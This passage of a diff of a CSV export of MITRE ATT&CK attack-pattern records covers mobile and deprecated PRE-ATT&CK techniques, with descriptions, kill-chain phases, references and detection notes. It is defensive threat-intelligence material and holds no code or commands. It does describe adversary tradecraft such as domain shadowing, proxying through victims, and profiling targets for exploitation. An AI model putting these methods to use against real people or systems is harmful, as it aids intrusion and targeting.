Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1616', 'external_id': 'T1616'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-41.html', 'external_id': 'APP-41'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-42.html', 'external_id': 'CEL-42'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-36.html', 'external_id': 'CEL-36'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-18.html', 'external_id': 'CEL-18'}, {'source_name': 'Android Permissions', 'description': 'Google. (2021, August 11). Manifest.permission. Retrieved September 22, 2021.', 'url': 'https://developer.android.com/reference/android/Manifest.permission'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Gaetan van Diemen, ThreatFabric']",,,"Users can view their default phone app in device settings. Users can review available call logs for irregularities, such as missing or unrecognized calls.",False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--e083305c-49e7-4c87-aae8-9689213bffbe,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-16T20:16:07.673Z,2020-12-17T17:31:52.802Z,Command-Line Interface,"Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken. -As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1348', external_id='T1348'), ExternalReference(source_name='APT1', description='Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.')]",attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Identify resources required to build capabilities,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Recruitment is, by its nature, either clandestine or off the record.",,Yes,"Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.",,,,,PRE-T1125,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265). +If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1605', 'external_id': 'T1605'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Command-Line Interface execution can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--5ca3c7ec-55b2-4587-9376-cf6c96f8047a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-11-30T14:26:07.728Z,2020-12-04T20:30:31.513Z,Proxy Through Victim,"Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot) -Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1265', external_id='T1265'), ExternalReference(source_name='SmithSupplyChain', description='Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017.'), ExternalReference(source_name='CERT-UKSupplyChain', description='CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017.')]",attack-pattern--59369f72-3005-4e54-9095-3d00efcece73,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify supply chains,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Searching publicly available sources that cannot be monitored by a defender.,,No,"Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",,,,,PRE-T1042,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1375', external_id='T1375'), ExternalReference(source_name='CitizenLabGreatCannon', description='Bill Marczak, Jakub Dalek, John Scott-Railton, Ron Deibert, Sarah McKune. (2015, April 10). China’s Great Cannon. Retrieved March 9, 2017.')]",attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:21:59.520000+00:00,Leverage compromised 3rd party resources,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.",,No,Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.,,,False,,PRE-T1152,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1315). - -Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1315', external_id='T1315'), ExternalReference(source_name='HAMMERTOSS2015', description='FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017.')]",attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Network-based hiding techniques,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.",,No,"Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained",,,,,PRE-T1092,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1318). - -Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1318', external_id='T1318'), ExternalReference(source_name='DellComfooMasters', description='Joe Stewart and Don Jackson, Dell SecureWorks Counter Threat Unit(TM) Threat Intelligence. (2013, July 31). Secrets of the Comfoo Masters. Retrieved March 6, 2017.')]",attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Obfuscate operational infrastructure,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).",,Yes,"An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.",,,,,PRE-T1095,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1251). - -For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1251', external_id='T1251'), ExternalReference(source_name='Google Domains WHOIS', description='Google Domains. (n.d.). About WHOIS. Retrieved April 2, 2017.'), ExternalReference(source_name='FunAndSun2012', description='Jeff Bardin. (2012, October 10). OSINT and Cyber Intelligence - Fun and Sun in Miami. Retrieved March 1, 2017.'), ExternalReference(source_name='Scasny2015', description='Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.')]",attack-pattern--46017368-6e09-412b-a29c-385be201cc03,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Obtain domain/IP registration information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Open access to DNS registration/routing information is inherent in Internet architecture.,,Yes,Proliferation of DNS information makes registration information functionally freely available.,,,,,PRE-T1028,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1305). - -Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1305', external_id='T1305'), ExternalReference(source_name='APT1', description='Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.')]",attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Private whois services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)",,Yes,Commercially available or easy to set up and/or register using a disposable email account.,,,,,PRE-T1082,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1235). - -Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1235', external_id='T1235'), ExternalReference(source_name='FBIIntelligencePrimer', description='FBI. (n.d.). Intelligence Branch: Intelligence Primer. Retrieved March 2, 2017.')]",attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Receive operator KITs/KIQs tasking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1012,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1358). - -Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1358', external_id='T1358'), ExternalReference(source_name='EDB-39007', description='Tavis Ormandy and Natalie Silvanovich. (2015, December 16). FireEye - Wormable Remote Code Execution in MIP JAR Analysis. Retrieved March 9, 2017.'), ExternalReference(source_name='infosec-covering-tracks', description='Infosec Institute. (2015, September 9). Covering Tracks of Attacks. Retrieved May 9, 2017.')]",attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='test-capabilities')]",2020-10-26 13:42:49.342000+00:00,Review logs and residual traces,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Adversary controls the test and defender likely has no visibility.,,Yes,Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.,,,,,PRE-T1135,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1340). - -The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1340', external_id='T1340'), ExternalReference(source_name='CiscoAngler', description='Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.', url='https://blogs.cisco.com/security/talos/angler-domain-shadowing'), ExternalReference(source_name='ProofpointDomainShadowing', description='Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved March 6, 2017.')]",attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Shadow DNS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.",,Yes,"To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.",,,,,PRE-T1117,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1237). - -Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1237', external_id='T1237'), ExternalReference(source_name='ICD204', description='Office of the Director of National Intelligence. (2015, January 02). Retrieved March 5, 2017.'), ExternalReference(source_name='KIT-Herring', description='Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved May 19, 2017.')]",attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-direction')]",2020-10-26 13:42:49.342000+00:00,"Submit KITs, KIQs, and intelligence requirements",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1014,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1356). - -Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1356', external_id='T1356'), ExternalReference(source_name='LeeBeaconing', description='Tony Lee. (2012, December 11). Testing Your Defenses - Beaconing. Retrieved March 9, 2017.')]",attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='test-capabilities')]",2020-10-26 13:42:49.342000+00:00,Test callback functionality,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Adversary controls the test and defender likely has no visibility.,,Yes,Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility.,,,,,PRE-T1133,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1361). - -An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1361', external_id='T1361'), ExternalReference(source_name='WiredVirusTotal', description='Kim Zetter. (14, September 2). A Google Site Meant to Protect You Is Helping Hackers Attack You. Retrieved March 9, 2017.')]",attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='test-capabilities')]",2020-10-26 13:42:49.342000+00:00,Test signature detection for file upload/email filters,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection. Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.,,Yes,Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.,,,,,PRE-T1138,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1327). - -A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1327', external_id='T1327'), ExternalReference(source_name='KrebsStLouisFed', description='Brian Krebs. (2015, May 18). St. Louis Federal Reserve Suffers DNS Breach. Retrieved March 6, 2017.')]",attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Use multiple DNS infrastructures,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information. However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.",,Yes,"Requires more planning, but feasible.",,,,,PRE-T1104,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1307). - -A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1307', external_id='T1307'), ExternalReference(source_name='LUCKYCAT2012', description='Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.')]",attack-pattern--286cc500-4291-45c2-99a1-e760db176402,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Acquire and/or use 3rd party infrastructure services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.",,Yes,"Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.",,,,,PRE-T1084,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1275). - -In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1275', external_id='T1275'), ExternalReference(source_name='DigitalFootprint', description='Christopher Budd. (2016, June 27). The importance of understanding your digital footprint. Retrieved May 4, 2017.'), ExternalReference(source_name='trendmicro-vtech', description='Christopher Budd. (2015, December 1). Understanding the Risks of the VTech Data Breach. Retrieved May 9, 2017.')]",attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Aggregate individual's digital footprint,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Searching publicly available sources that cannot be monitored by a defender.,,Yes,Information readily available through searches,,,,,PRE-T1052,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1294). - -An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1294', external_id='T1294'), ExternalReference(source_name='OSFingerprinting2014', description='InfoSec Institute. (2014, June 19). What You Must Know About OS Fingerprinting. Retrieved March 1, 2017.')]",attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Analyze hardware/software security defensive capabilities,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,This can be done offline after the data has been collected.,,Yes,"Analyze network traffic to determine security filtering policies, packets dropped, etc.",,,,,PRE-T1071,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1295). - -Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1295', external_id='T1295'), ExternalReference(source_name='Scasny2015', description='Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.')]",attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,"Analyze social and business relationships, interests, and affiliations",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Public sources are external to the defender's organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.",,Yes,"Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target's affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.",,,,,PRE-T1072,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1299). - -During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1299', external_id='T1299'), ExternalReference(source_name='RossiMergers', description='Ben Rossi. (2014, August 29). Mergers and acquisitions: a new target for cyber attack. Retrieved March 6, 2017.'), ExternalReference(source_name='MeidlHealthMergers', description='Holly Meidl. (2015, December 16). How Health Care Companies Can Reduce the Risk of Cyber-Attack During Mergers and Acquisitions. Retrieved March 6, 2017.')]",attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Assess opportunities created by business deals,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.,,No,"Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.",,,,,PRE-T1076,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1228). - -Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1228', external_id='T1228'), ExternalReference(source_name='Herring1999', description='Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017.')]",attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Assign KITs/KIQs into categories,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable 